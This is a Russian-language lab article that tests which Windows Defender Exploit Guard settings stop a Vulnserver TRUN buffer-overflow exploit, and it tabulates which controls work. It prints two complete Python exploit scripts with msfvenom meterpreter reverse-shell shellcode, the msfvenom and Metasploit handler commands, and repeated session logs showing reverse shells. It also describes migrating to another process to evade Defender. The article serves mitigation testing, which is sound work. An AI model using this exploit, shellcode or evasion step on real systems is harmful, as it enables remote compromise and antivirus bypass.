Vulnserver Exploit и Windows Defender Exploit Guard

Дата: 01.07.2020. Автор: Игорь Б. Категории: Статьи по информационной безопасности

В этой статье подробно рассказывается о Windows Defender Exploit Guard, который способен защитить уязвимое приложение.

В качестве примера был взят Vulnserver, но следует также вспомнить и о других приложениях, которые все еще могут иметь уязвимости. Windows Defender Exploit Guard будет проверен на возможность предоставления защиты от эксплойтов, даже если параметры не скомпилированы в двоичный файл; а также будет проведена оценка функциональности уязвимого приложения.

Подробнее о защите от эксплойтов можно прочитать, перейдя по ссылке. Эта информация была собрана Matt Graeber. Сведения об этой проблеме от Microsoft находятся здесь.

Итоги тестирования

Название элемента управленияЭффективность защиты
Защита произвольного кодаЭффективна
Блокирование удаленной загрузки изображенийНе эффективна
Блокирование низкой целостной фиктивной нагрузкиНе эффективна
Защита целостности кодаНевозможна
Защита потока управления (CFG)Не эффективна
Предотвращение выполнения данных (DEP)Эффективна
Предотвращение уязвимостей Win32K, связанных с системным вызовом таблицыЭффективна
Фильтрация доступа к экспортной адресной таблицеЭффективна
Обязательный ASLRЭффективна
Фильтрация адресов импорта (IAF)Не эффективна
Имитация выполнения (SimExec)Не эффективна
Проверка вызова APIЭффективна
SEHOPЭффективна
Проверка целостности кучНе эффективна
Проверка целостности стекаНе эффективна

*Защита целостности кода ограничивает загрузку кода MSFT. Vulnserver – это не код MSFT.

Само собой разумеется, что приведенная выше таблица не подразумевает, что некоторые элементы управления не работают. Все они подходят для определенных типов приложений и эксплойтов. В таблице приведены результаты, когда Exploit Guard был запущен для защиты от простой атаки переполнения буфера.

Начало: подготовка к тестированию

Уже был создан Vulnserver Exploit с помощью следующего кода:

import socket

#368 bytes: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.92 LPORT=443 -f python -b "\x00"

buf =  b""
buf += b"\xdb\xcb\xbb\xb1\xea\x49\x47\xd9\x74\x24\xf4\x5a\x2b"
buf += b"\xc9\xb1\x56\x31\x5a\x18\x83\xea\xfc\x03\x5a\xa5\x08"
buf += b"\xbc\xbb\x2d\x4e\x3f\x44\xad\x2f\xc9\xa1\x9c\x6f\xad"
buf += b"\xa2\x8e\x5f\xa5\xe7\x22\x2b\xeb\x13\xb1\x59\x24\x13"
buf += b"\x72\xd7\x12\x1a\x83\x44\x66\x3d\x07\x97\xbb\x9d\x36"
buf += b"\x58\xce\xdc\x7f\x85\x23\x8c\x28\xc1\x96\x21\x5d\x9f"
buf += b"\x2a\xc9\x2d\x31\x2b\x2e\xe5\x30\x1a\xe1\x7e\x6b\xbc"
buf += b"\x03\x53\x07\xf5\x1b\xb0\x22\x4f\x97\x02\xd8\x4e\x71"
buf += b"\x5b\x21\xfc\xbc\x54\xd0\xfc\xf9\x52\x0b\x8b\xf3\xa1"
buf += b"\xb6\x8c\xc7\xd8\x6c\x18\xdc\x7a\xe6\xba\x38\x7b\x2b"
buf += b"\x5c\xca\x77\x80\x2a\x94\x9b\x17\xfe\xae\xa7\x9c\x01"
buf += b"\x61\x2e\xe6\x25\xa5\x6b\xbc\x44\xfc\xd1\x13\x78\x1e"
buf += b"\xba\xcc\xdc\x54\x56\x18\x6d\x37\x3e\xed\x5c\xc8\xbe"
buf += b"\x79\xd6\xbb\x8c\x26\x4c\x54\xbc\xaf\x4a\xa3\xb5\xb8"
buf += b"\x6c\x7b\x7d\xa8\x92\x7c\x7d\xe0\x50\x28\x2d\x9a\x71"
buf += b"\x51\xa6\x5a\x7d\x84\x52\x51\xe9\x2d\xa2\x65\xb5\x59"
buf += b"\xa0\x65\x44\x21\x2d\x83\x16\x05\x7d\x1c\xd7\xf5\x3d"
buf += b"\xcc\xbf\x1f\xb2\x33\xdf\x1f\x19\x5c\x4a\xf0\xf7\x34"
buf += b"\xe3\x69\x52\xce\x92\x76\x49\xaa\x95\xfd\x7b\x4a\x5b"
buf += b"\xf6\x0e\x58\x8c\x61\xf0\xa0\x4d\x04\xf0\xca\x49\x8e"
buf += b"\xa7\x62\x50\xf7\x8f\x2c\xab\xd2\x8c\x2b\x53\xa3\xa4"
buf += b"\x40\x62\x31\x88\x3e\x8b\xd5\x08\xbf\xdd\xbf\x08\xd7"
buf += b"\xb9\x9b\x5b\xc2\xc5\x31\xc8\x5f\x50\xba\xb8\x0c\xf3"
buf += b"\xd2\x46\x6a\x33\x7d\xb9\x59\x47\x7a\x45\x1f\x60\x23"
buf += b"\x2d\xdf\x30\xd3\xad\xb5\xb0\x83\xc5\x42\x9e\x2c\x25"
buf += b"\xaa\x35\x65\x2d\x21\xd8\xc7\xcc\x36\xf1\x86\x50\x36"
buf += b"\xf6\x12\x63\x4d\x77\xa4\x84\xb2\x91\xc1\x85\xb2\x9d"
buf += b"\xf7\xba\x64\xa4\x8d\xfd\xb4\x93\x9e\x48\x98\xb2\x34"
buf += b"\xb2\x8e\xc5\x1c"

final = "A" * 2002
final += "\xaf\x11\x50\x62"
final += "\x90" * 16
final += buf
final += "C" * (3000 - len(final))
 
print "buffer length: " + str(len(final))
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('10.0.0.57',4444))
s.send("TRUN /.:/ " + final)

print "payload sent"
 
s.close()

Если пользователь хочет сделать это самостоятельно, единственное, что стоит изменить, – это сгенерировать какой-то новый шеллкод в соответствии с IP-адресом. Была сохранена команда msfvenom, которую человек может использовать для проведения этой операции в показанном выше сценарии.

После этого пользователь подтверждает, что “Vulnserver” – это листенер, и брандмауэр Windows присоединяется к нему:

Со стороны клиента (машина kali) можно выполнить быстрый тест с помощью «nc», чтобы убедиться, что есть возможность взаимодействовать с сервисом Vulnserver:

Для того чтобы убедиться, что эксплойт работает на полностью исправленной системе Windows 10, запускается листенер полезной нагрузки, сгенерированной для описанного выше эксплойта:

msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.92
set LPORT 443
exploit

Затем его работа прерывается:

root@kali:~/Desktop# python vulnserver-exploit.py 
buffer length: 3000
payload sent

При выполнении эксплойта пользователь получает неожиданный результат:

Видя соединение сокета, пользователь понимает, что эксплойт пытается получить еще несколько байтов, но соединение разрывается вскоре после этого.

Defender сокрушил полезную нагрузку шелл.

Первоначальный эксплойт и шеллкод вряд ли станут проблемой, учитывая, что программа смогла выполнить свою работу и хотела перейти ко второму этапу взаимодействия с листенером. Похоже, что этот второй этап начался, когда Defender заинтересовался полученными сигналами.

Для того чтобы обойти это, пользователь переходит к полезной нагрузке https, используя следующую команду для генерации шелл-кода для эксплойта:

msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.0.92 LPORT=443 -f python -b "\x00"

На этот раз шелл был получен довольно быстро, однако за считанные секунды его уничтожили.

Со стороны “сервера” видно, что Windows Defender снова в ярости. На машине Кали пользователь замечает, что сеанс meterpreter завис, и, в конце концов, ему предложено прервать соединение:

meterpreter > shell
Process 8168 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18363.836]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\chad.JMPESP\Desktop>hostname

Terminate channel 1? [y/N]  y

Становится понятно, что быстрого перехода к другому процессу, работающему на том же уровне, что и Vulnserver, достаточно, чтобы избежать проблем:

meterpreter > migrate 6972
[*] Migrating from 2524 to 6972...
[*] Migration completed successfully.
meterpreter > shell
Process 9204 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18363.836]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\chad.JMPESP>hostname
hostname
dev

C:\Users\chad.JMPESP>whoami
whoami
jmpesp\chad

C:\Users\chad.JMPESP>

У пользователя теперь есть стабильный шелл на удаленном хосте (“dev”). Это полностью исправленная машина, работающая на ОС Windows 10.

В любом случае, было здорово узнать, что Defender остро реагирует на все полезные нагрузки, даже без какой-либо дополнительной конфигурации или помощи со стороны новых элементов управления эксплойтами.

Последовательность действий, как пользователь будет тестировать Exploit Guard:

  • Эксплойт, нацеленный на vulnserver, будет доставлен с помощью скрипта Python (показано ниже)
  • Шеллкод будет представлять собой полезную нагрузку https (пример такой команды генерации можно найти в комментариях к скрипту)
  • Потом будет осуществлен быстрый переход к другому процессу, чтобы Defender не обнаружил подозрительную деятельность

Код:

import socket

#527 bytes: msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.0.92 LPORT=443 -f python -b "\x00"

buf =  b""
buf += b"\xbf\xea\xa2\x98\x39\xdb\xc9\xd9\x74\x24\xf4\x5d\x2b"
buf += b"\xc9\xb1\x7e\x31\x7d\x12\x03\x7d\x12\x83\x2f\xa6\x7a"
buf += b"\xcc\x53\x4f\xf8\x2f\xab\x90\x9d\xa6\x4e\xa1\x9d\xdd"
buf += b"\x1b\x92\x2d\x95\x49\x1f\xc5\xfb\x79\x94\xab\xd3\x8e"
buf += b"\x1d\x01\x02\xa1\x9e\x3a\x76\xa0\x1c\x41\xab\x02\x1c"
buf += b"\x8a\xbe\x43\x59\xf7\x33\x11\x32\x73\xe1\x85\x37\xc9"
buf += b"\x3a\x2e\x0b\xdf\x3a\xd3\xdc\xde\x6b\x42\x56\xb9\xab"
buf += b"\x65\xbb\xb1\xe5\x7d\xd8\xfc\xbc\xf6\x2a\x8a\x3e\xde"
buf += b"\x62\x73\xec\x1f\x4b\x86\xec\x58\x6c\x79\x9b\x90\x8e"
buf += b"\x04\x9c\x67\xec\xd2\x29\x73\x56\x90\x8a\x5f\x66\x75"
buf += b"\x4c\x14\x64\x32\x1a\x72\x69\xc5\xcf\x09\x95\x4e\xee"
buf += b"\xdd\x1f\x14\xd5\xf9\x44\xce\x74\x58\x21\xa1\x89\xba"
buf += b"\x8a\x1e\x2c\xb1\x27\x4a\x5d\x98\x2f\xe2\x3b\x56\xb0"
buf += b"\x92\xb4\xff\xde\x0b\x6f\x97\x52\xbb\xa9\x60\x94\x96"
buf += b"\x87\xb5\x39\x4a\xbb\x1a\xed\x84\x05\x9c\x11\x55\x37"
buf += b"\xf3\x6b\x3c\xab\x67\xed\x91\x06\x59\xdd\xcd\x40\xf2"
buf += b"\x74\x60\xf5\x93\xf1\x0f\xd5\x25\xaa\xcf\x23\x97\x63"
buf += b"\x2b\x6c\xb3\xf1\x22\x08\x5e\x98\xc0\xff\x97\x4a\x19"
buf += b"\x3b\xf7\xe0\x2f\x01\xc6\x35\xfe\x45\x01\x16\x92\xcc"
buf += b"\x3a\x33\x4a\x48\xd9\xd8\xe1\x39\x21\x77\xcc\x93\x58"
buf += b"\x20\xcf\xc9\xc9\x7d\x5a\xf1\xbe\xd2\xf2\x4e\x41\xd5"
buf += b"\x02\x59\x9f\xd5\x02\x99\x30\xae\x33\xf3\x7b\x0c\x72"
buf += b"\x74\xbb\xe4\x36\x57\x8f\x3c\xb5\xc9\x95\x09\x5e\x43"
buf += b"\x04\x38\xc7\x1c\x95\xd6\x5f\x91\x72\x4f\x33\x22\xb1"
buf += b"\xc5\xc5\xa4\xee\xbe\x5f\x42\x7f\x14\x99\xef\x3b\xd9"
buf += b"\xa3\xa0\xf2\x91\x65\x68\xba\x17\xe9\xc2\x0a\x91\x80"
buf += b"\xab\xf0\xb2\x10\x6f\x7c\x61\xc9\x08\x33\xbe\x55\x93"
buf += b"\xb2\x87\x0f\x4e\x33\x43\xb0\x20\xd3\x04\x39\x5f\xe5"
buf += b"\x54\xec\xe9\x2f\xf9\x67\xea\x9d\x16\xf3\xb9\xb2\xb5"
buf += b"\xab\x6e\x62\x52\xbf\xc4\xa4\x99\xc0\x32\x2e\xb7\x34"
buf += b"\xe2\x26\xc8\x7a\x1c\xb6\x41\x9c\x76\xb2\x01\x37\x98"
buf += b"\xec\xc9\xb2\xe0\x8e\x8c\xc2\x38\xfd\xc3\x6f\x90\x57"
buf += b"\x8c\xa2\x10\x4f\x37\x42\xc9\xea\x07\xc9\xe6\x9c\x0f"
buf += b"\x21\x07\x5c\x78\x02\xf7\x69\x98\x75\x22\xde\x2d\x47"
buf += b"\x25\xa6\xcd\x57\xb6\x4c\x8e\x3f\xb6\x80\x0e\xc0\xde"
buf += b"\xa0\x0e\x80\x1e\xf3\x66\x58\xbb\xa0\x93\xa7\x16\xd5"
buf += b"\x0f\x0b\x10\x3e\xf8\xc3\x22\xe0\x07\x14\x70\xb6\x6f"
buf += b"\x06\xe0\xbf\x92\xd9\xd9\x3a\x92\x52\x2d\xcf\x14\x9a"
buf += b"\x72\x4a\xda\xe9\x91\x0c\x18\x4e\xb2\xc7\x61\x8e\xbd"
buf += b"\x26\xae\x5f\x72\x66\xfe\xb1\x4b\x44\xfe\x76\x5b\x1d"
buf += b"\x5c\xde\xf6\x5d\xf2\x20\xd3"

final = "A" * 2002
final += "\xaf\x11\x50\x62"
final += "\x90" * 16
final += buf
final += "C" * (3000 - len(final))
 
print "buffer length: " + str(len(final))
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('10.0.0.57',4444))
s.send("TRUN /.:/ " + final)

print "payload sent"
 
s.close()

Тестирование

В этом разделе будет настроен каждый элемент управления Exploit Guard для VulnServer.exe.

Для того чтобы добавить защиту от эксплойтов для новых процессов, следует просто ввести “эксплойт” в меню Пуск. Там пользователь увидит ярлык к нужному месту в настройках Defender. Затем нужно перейти ко вкладке «Программы» и создать новое правило осуществления процессов для приложения, которое человек хочет защитить.

В промежутках времени между тестированием каждого элемента управления Exploit Guard пользователю необходимо вернуться и проверить, что работа приложения никак не была затронута запуском vulnserver и установлением соединения с клиентом.

root@kali:~/Desktop# nc -nv 10.0.0.57 4444
(UNKNOWN) [10.0.0.57] 4444 (?) open
Welcome to Vulnerable Server! Enter HELP for help.

Следует начать с верхней части списка элементов управления и двигаться вниз.

Защита произвольного кода

Этот элемент управления предотвращает осуществление мошеннического исполняемого кода и должен остановить изменение кодовых страниц. Код, который используется хакером, в данном случае, извлекается из листенера на компьютере с ОС Kali.

При тестировании заметно, что первичная связь была установлена:

msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.0.0.92:443
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: ytta0cyf) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 5 opened (10.0.0.92:443 -> 10.0.0.57:49700) at 2020-06-27 17:58:16 -0400
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: ytta0cyf) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 6 opened (10.0.0.92:443 -> 127.0.0.1) at 2020-06-27 17:58:16 -0400

Но на этом все и закончилось. Пользователь пробовал несколько раз, и каждый раз его останавливали сразу после попытки ввести полезную нагрузку второго этапа в удаленный процесс.

Просматривая журналы событий, человек может наблюдать следующее:

Process '\Device\HarddiskVolume1\Users\chad.JMPESP\Desktop\vulnserver.exe' (PID 2664) was blocked from generating dynamic code.

Это потрясающе! Первоначальный эксплойт – это просто данные, которые случайно создают беспорядок в коде в памяти, но Windows предотвращает это. Когда пользователь попытался получить произвольный код для второго этапа, это действие было остановлено программой.

Результат: успешное митигирование.

Следует добавить: если человек находится в режиме аудита в корпоративной среде и пересылает события Windows (WEF), он может столкнуться с проблемами производительности. Нужно быть осторожным при выборе приложения. Было также обнаружено, что такие приложения, как Slack могут отключить контроль. В режиме аудита – это сотни событий в минуту, что значит, в блочном режиме Slack определенно перестанет работать. Просто следует убедиться, что пользователь тщательно протестировал приложение в своей среде. При ошибочном выборе это может привести к чрезмерной нагрузке процессора машины и большому потоку переадресации событий Windows, отображаемом в диспетчере задач.

Блокирование удаленной загрузки изображений

Этот элемент управления был бы более уместен для шеллкода, который пытался вытянуть двоичные изображения (.DLL) из удаленного места и загрузить их. Больше похоже на подход LoadLibrary(PATHBUFFER)): регистрируется загрузка изображений из удаленных общих ресурсов UNC / WebDAV.

msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.0.0.92:443
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: o8h6uuel) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 8 opened (10.0.0.92:443 -> 10.0.0.57:49711) at 2020-06-27 18:17:20 -0400

meterpreter > migrate 6972
[*] Migrating from 9208 to 6972...
[*] Migration completed successfully.

Как и ожидалось, этот элемент управления не обеспечивает нужной зашиты. Пользователь смог перейти к другому процессу для получения стабильного шелл.

Ни одно событие, связанное с Exploit Guard, не было зарегистрировано.

Результат: отсутствие защиты.

Блокирование низкой целостной фиктивной нагрузки

Этот элемент управления предотвращает загрузку изображений, имеющих низкую целостность.

Подобно предыдущему элементу управления, пользователь полагает, что это ограничит эксплуатируемый процесс от загрузки некоторых двоичных файлов из LoadLibrary.

msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.0.0.92:443
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: zgulass5) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 9 opened (10.0.0.92:443 -> 10.0.0.57:49717) at 2020-06-27 18:30:43 -0400

meterpreter > migrate 6972
[*] Migrating from 5676 to 6972...
[*] Migration completed successfully.
meterpreter > shell
Process 7592 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18363.836]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\chad.JMPESP>

Как и ожидалось, элемент управления не предоставляет защиты в подобном типе скрипта, а эксплойт и шелл стабильны.

В журнале событий защиты от эксплойтов ничего не было зарегистрировано.

Результат: отсутствие защиты.

Защита целостности кода

Это не сработает. Защита целостности кода блокирует загрузку изображений, которые не подписаны Microsoft: vulnserver подходит под эту категорию.

Как и ожидалось, пользователь даже не может запустить процесс, потому что он пытается загрузить не MSFT dll:

Событие №12:

Process '\Device\HarddiskVolume1\Users\chad.JMPESP\Desktop\vulnserver.exe' (PID 792) was blocked from loading the non-Microsoft-signed binary '\Users\chad.JMPESP\Desktop\essfunc.dll'.

Результат: тестирование невозможно.

Защита потока управления (CFG)

Это интересный элемент управления, из-за него будет намного сложнее для эксплойтов выполнять произвольный код с помощью уязвимостей, таких как переполнение буфера.

Но, несмотря на некоторые споры в Интернете об этом элементе управления, Microsoft считает его включение во время компиляции для двоичных файлов вполне логичным. Компания настоятельно рекомендует разработчикам включить CFG для своих приложений. Им не нужно включать CFG для каждой части кода, так как его часть с поддержкой CFG и код без поддержки CFG будет выполняться нормально. Но отключение этого элемента управления может привести к «дырам» в защите.

Vulnserver не компилируется с CFG, так что нужно посмотреть на то, как он будет вести себя с эксплойтом переполнения буфера:

msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.0.0.92:443
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: qfk9lnyh) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 10 opened (10.0.0.92:443 -> 10.0.0.57:49723) at 2020-06-27 18:54:47 -0400

meterpreter > migrate 6972
[*] Migrating from 792 to 6972...
[*] Migration completed successfully.
meterpreter > shell
Process 7976 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18363.836]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\chad.JMPESP>

Эксплойт выполняется успешно, и у пользователя теперь есть стабильный шелл. Любые операции, зарегистрированные в средстве просмотра событий, отсутствуют.

Похоже, что CFG не обнаружила никаких проблем. Для будущего теста пользователь мог бы перекомпилировать двоичный файл Vulnserver, а может быть, и просто его .dll с параметром /CFG и повторить попытку.

Результат: отсутствие защиты.

Предотвращение выполнения данных (DEP)

Предотвращение выполнения данных должно быть включено по умолчанию в качестве общесистемного элемента управления.

Если пользователь мало знает о DEP, то следует сказать, что он предназначен для установки некоторых барьеров для зашиты памяти.

Эксплойт захватывает контроль выполнения, а затем полагается на некоторые страницы памяти, которые были изменены, при это они оставались исполняемыми.

В тестировании DEP действительно спасает положение.

Однако сохранение не регистрируется в разделе Exploit Guard журнала событий. Оно появляется как событие №1000 в журнале приложений. Интересно, что даже с общесистемной настройкой, включающей DEP по умолчанию, эксплойт работал во всех предыдущих тестах.

DEP настраивается только для 32-разрядных приложений (x86), он постоянно включен для всех других архитектур. Это, по-видимому, является причиной того, что существует разница между общесистемной настройкой и конфигурацией Vulnserver.

Для сравнения к вниманию читателя результат журнала событий, когда был принудительно запущен DEP на vulnserver.exe. Индивидуальные настройки включали в себя:

Faulting application name: vulnserver.exe, version: 0.0.0.0, time stamp: 0x4ce63b00
Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000
Exception code: 0xc0000005
Fault offset: 0x012cf9c8
Faulting process id: 0x1e6c
Faulting application start time: 0x01d64cdad1c7b2ba
Faulting application path: C:\Users\chad.JMPESP\Desktop\vulnserver.exe
Faulting module path: unknown
Report Id: 28c4b336-243d-426e-9cc6-4f32960224b4
Faulting package full name: 
Faulting package-relative application ID: 

Таким образом, вызов DEP в качестве элемента управления Exploit Guard, по-видимому, имеет значение для 32-битных приложений, даже если он уже включен в масштабах всей системы.

Результат: успешное митигирование.

Предотвращение уязвимостей Win32K, связанных с системным вызовом таблицы

Ожидается, что шеллкод meterpreter ищет функции из таблицы системных вызовов Win32k. Похоже, что этот элемент управления может быть эффективен против эксплойта. Системные вызовы Win32K часто используются для получения повышенных привилегий. Может быть, этот элемент управления охватывает как CLI, так и GUI?

Нужно это проверить:

Интересно: сеанс meterpreter почти был запущен.

msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.0.0.92:443
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: qjmgl1rm) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 11 opened (10.0.0.92:443 -> 10.0.0.57:49729) at 2020-06-27 20:40:51 -0400

Конечно же, регистрируется событие №10:

Process '\Device\HarddiskVolume1\Users\chad.JMPESP\Desktop\vulnserver.exe' (PID 4048) was blocked from making system calls to Win32k.sys. 

Прекрасно. Защита активирована.

Результат: успешное митигирование.

Фильтрация доступа к экспортной адресной таблице

Пользователь позволит Windows внимательно следить за функциями, которые эксплойты обычно используют с помощью дополнительных флажков, как это показано выше.

Ожидается, что полезная нагрузка msfvenom не пройдет и будет уничтожена Defender.

Результат был действительно впечатляющим. Никакого намека на связь с листенером. Нагрузка была остановлена на полпути.

Со стороны сервера было замечено, что vulnserver был «раздавлен» сразу же после доставки эксплойта.

В отличие от большинства других элементов управления, протестированных ранее, эта защита от эксплойтов была зарегистрирована в разделе пользовательского режима.

Process 'C:\Users\chad.JMPESP\Desktop\vulnserver.exe' (PID 7128) was blocked from accessing the Export Address Table for module 'C:\WINDOWS\SYSTEM32\ntdll.dll'.

Результат: успешное митигирование.

Обязательный ASLR

Как и в процессе реализации функции DEP, ASLR является эффективным средством защиты.

Приложение в аварийном режиме завершает работу, и пользователь видит событие №1001 в журнале событий приложения.

Fault bucket , type 0
Event Name: BEX
Response: Not available
Cab Id: 0

Problem signature:
P1: vulnserver.exe
P2: 0.0.0.0
P3: 4ce63b00
P4: StackHash_2beb
P5: 0.0.0.0
P6: 00000000
P7: PCH_10_FROM_ntdll+0x000723DC
P8: c0000005
P9: badc0de1
P10: 

И также:

Fault bucket , type 0
Event Name: BEX
Response: Not available
Cab Id: 0

Problem signature:
P1: vulnserver.exe
P2: 0.0.0.0
P3: 4ce63b00
P4: PayloadRestrictions.dll
P5: 10.0.18362.1
P6: 77901827
P7: 0006e6bd
P8: c0000409
P9: 00000033
P10: 

Это «исключение переполнения буфера» обычно связано с работой DEP. Однако в данном случае это результат деятельности обязательного ASLR: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc738483(v=ws.10)?redirectedfrom=MSDN

Результат: успешное митигирование.

Фильтрация адресов импорта (IAF)

IAF обнаруживает опасные операции, осуществляемые с помощью вредоносного кода. Звучит, правда, многообещающе.

Вперед!

root@kali:~/Desktop# python vulnserver-exploit.py 
buffer length: 3000
payload sent

Обнаружена уязвимость:

msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.0.0.92:443
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: wksdfqa1) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 12 opened (10.0.0.92:443 -> 10.0.0.57:49733) at 2020-06-27 21:40:24 -0400

meterpreter > migrate 6972
[*] Migrating from 6536 to 6972...
[*] Migration completed successfully.
meterpreter > shell
Process 6436 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18363.836]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\chad.JMPESP>hostname
hostname
dev

C:\Users\chad.JMPESP>

Никаких событий не было зарегистрировано, и был получен стабильный шелл.

Злоумышленнику, в конечном счете, нужны адреса определенных системных функций (например, kernel32!VirtualProtect), чтобы иметь возможность выполнять вредоносные действия. Эти адреса могут быть получены из различных источников, одним из которых является таблица адресов импорта (IAT) загруженного модуля. IAT используется в качестве таблицы подстановки, когда приложение вызывает функцию в другом модуле. Поскольку скомпилированная программа не может знать расположение памяти библиотек, от которых она зависит, при каждом вызове API требуется косвенный переход. Когда динамический компоновщик загружает модули и соединяет их вместе, он записывает фактические адреса в слоты IAT так, чтобы они указывали на ячейки памяти соответствующих библиотечных функций.

Этот элемент управления пытается следить за шеллкодом, который может попытаться изменить защиту доступа к областям памяти внутри функции. Этого не было сделано во время данного практического тестирования защиты. Подробнее об этом можно прочитать, перейдя по ссылке.

Результат: отсутствие защиты.

Имитация выполнения (SimExec)

Это защита от возвратно-ориентированного программирования (ROP). Эксплойт не использует гимнастику ROP, но нужно это проверить, чтобы быть полностью уверенным.

Безуспешно.

Нет никакой выгоды. Этот элемент управления специально нацелен на эксплойты ROP, и нелогично ожидать того, что результат окажется успешным.

Результат: отсутствие защиты.

Проверка вызова API

Сущность этого элемента управления заключается в том, что он может гарантировать, что неустойчивые API будут вызваны только законными абонентами.

Это сработало. Приложение vulnserver «потерпело поражение» еще до того, как было установлено соединение с листенером.

Process 'C:\Users\chad.JMPESP\Desktop\vulnserver.exe' (PID 6172) was blocked from calling the API 'LoadLibraryA' due to return-oriented programming (ROP) exploit indications.

Перейдя по этой ссылке, пользователь способен узнать, какие API он может получить с помощью упомянутого элемента управления.

LoadLibraryA, LoadLibraryW, LoadLibraryExA, LoadLibraryExW, LdrLoadDll, VirtualAlloc, VirtualAllocEx, NtAllocateVirtualMemory, VirtualProtect, VirtualProtectEx, NtProtectVirtualMemory, HeapCreate, RtlCreateHeap, CreateProcessA, CreateProcessW, CreateProcessInternalA, CreateProcessInternalW, NtCreateUserProcess, NtCreateProcess, NtCreateProcessEx, CreateRemoteThread, CreateRemoteThreadEx, NtCreateThreadEx, WriteProcessMemory, NtWriteVirtualMemory, WinExec, LdrGetProcedureAddressForCaller, GetProcAddress, GetProcAddressForCaller, LdrGetProcedureAddress, LdrGetProcedureAddressEx, CreateProcessAsUserA, CreateProcessAsUserW, GetModuleHandleA, GetModuleHandleW, RtlDecodePointer, DecodePointer 

Это событие отображается в разделе “пользовательский режим” журнала событий митигирования последствий атаки эксплойтов.

Как и большинство элементов управления Exploit Guard, этот лучше всего сначала протестировать на корпоративных приложениях в режиме аудита.

Результат: успешное митигирование.

SEHOP

Этот элемент управления обеспечивает защиту структурированной цепочки обработчиков исключений. Эксплойты, использующие обработчик исключений, обычно пытаются перезаписать адрес в цепочке обработки исключений, чтобы выполнение было перенаправлено на шелл-код после того, как произойдет сбой. Следует проверить и этот способ.

Интересно, что элемент управления выполняет свою функцию. Нет подключения к листенеру, и приложение vulnserver немедленно отключается, когда пользователь отправляет эксплойт.

Сбой регистрируется в журнале приложений как событие №1001; можно увидеть PayloadRestrictions.dll в отчете об ошибках.

Fault bucket , type 0
Event Name: BEX
Response: Not available
Cab Id: 0

Problem signature:
P1: vulnserver.exe
P2: 0.0.0.0
P3: 4ce63b00
P4: PayloadRestrictions.dll
P5: 10.0.18362.1
P6: 77901827
P7: 0006e6bd
P8: c0000409
P9: 00000033
P10: 

Attached files:
\?\C:\ProgramData\Microsoft\Windows\WER\Temp\WERD009.tmp.WERInternalMetadata.xml

Просто чтобы подтвердить, что это не общесистемный DEP или что-то другое, был удален элемент управления SEHOP и снова выполнен эксплойт. Надежное соединение восстановлено за мгновенье.

Результат: успешное митигирование.

Проверка целостности куч

Этот элемент управления попытается обнаружить повреждение кучи.

«Проверка целостности кучи» не обеспечила никакой защиты от этого конкретного эксплойта. Это имеет смысл, поскольку пользователь нацелен на стек.

msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.0.0.92:443
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: psltbask) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 15 opened (10.0.0.92:443 -> 10.0.0.57:49751) at 2020-06-28 12:10:10 -0400

meterpreter > migrate 6972
[*] Migrating from 2620 to 6972...
[*] Migration completed successfully.
meterpreter > shell
Process 5728 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18363.836]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\chad.JMPESP>type c:\windows\win.ini
type c:\windows\win.ini
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

C:\Users\chad.JMPESP>

Результат: отсутствие защиты.

Проверка целостности стека

Этот элемент управления должен гарантировать тот факт, что стек не был перенаправлен для выполнения неустойчивых функций.

Элемент управления не обеспечил никакой защиты.

msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.0.0.92:443
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: wqzbb8c7) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 16 opened (10.0.0.92:443 -> 10.0.0.57:49757) at 2020-06-28 12:21:21 -0400

meterpreter > migrate 6972
[*] Migrating from 3924 to 6972...
[*] Migration completed successfully.
meterpreter > shell
Process 8184 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18363.836]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\chad.JMPESP>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 30C4-4CD4

